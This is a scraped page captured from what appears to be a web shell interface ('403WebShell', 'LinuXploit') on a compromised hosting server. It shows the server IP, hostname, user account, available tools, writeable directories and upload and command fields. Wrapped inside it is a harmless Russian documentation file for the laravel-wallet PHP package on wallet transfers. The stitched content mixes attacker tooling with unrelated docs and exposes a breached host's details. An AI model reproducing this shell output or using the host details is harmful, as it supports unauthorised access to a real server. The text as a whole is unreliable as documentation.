Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.16.49.213
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/book24.ng/vendor/bavix/laravel-wallet/docs/ru/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/book24.ng/vendor/bavix/laravel-wallet/docs/ru/wallet-transfer.md
# Переводы между кошельками

Перевод осуществляется с помощью операций 
[Deposit](deposit) и 
[Withdraw](withdraw).

Обычно операции делают вывод из "неоткуда" в "некуда",
но в данном случае операцию подписывает таблица `transfers`.

---

## Пользователь

Проготовим модель, добавив `HasWallet`, `HasWallets` trait's и `Wallet` interface.

```php
use Bavix\Wallet\Traits\HasWallet;
use Bavix\Wallet\Traits\HasWallets;
use Bavix\Wallet\Interfaces\Wallet;

class User extends Model implements Wallet
{
    use HasWallet, HasWallets;
}
```

## Сделаем перевод

Найдем пользователей.

```php
$first = User::first(); 
$last = User::orderBy('id', 'desc')->first(); // last user
$first->getKey() !== $last->getKey(); // true
```

Создадим пользователям кошельки.
```php
$name = 'New Wallet';
$firstWallet = $first->createWallet(compact('name'));
$lastWallet = $last->createWallet(compact('name'));

$firstWallet->deposit(100);
$firstWallet->balance; // int(100)
$lastWallet->balance; // int(0)
```

Выполним перевод от первого второму.

```php
$firstWallet->transfer($lastWallet, 5); 
$firstWallet->balance; // int(95)
$lastWallet->balance; // int(5)
```

## Принудительный перевод

Проверим баланс.

```php
$firstWallet->balance; // int(100)
$lastWallet->balance; // int(0)
```

Выполним перевод от первого второму.

```php
$firstWallet->forceTransfer($lastWallet, 500); 
$firstWallet->balance; // int(-400)
$lastWallet->balance; // int(500)
```

Просто работает!

Youez - 2016 - github.com/yon3zu
LinuXploit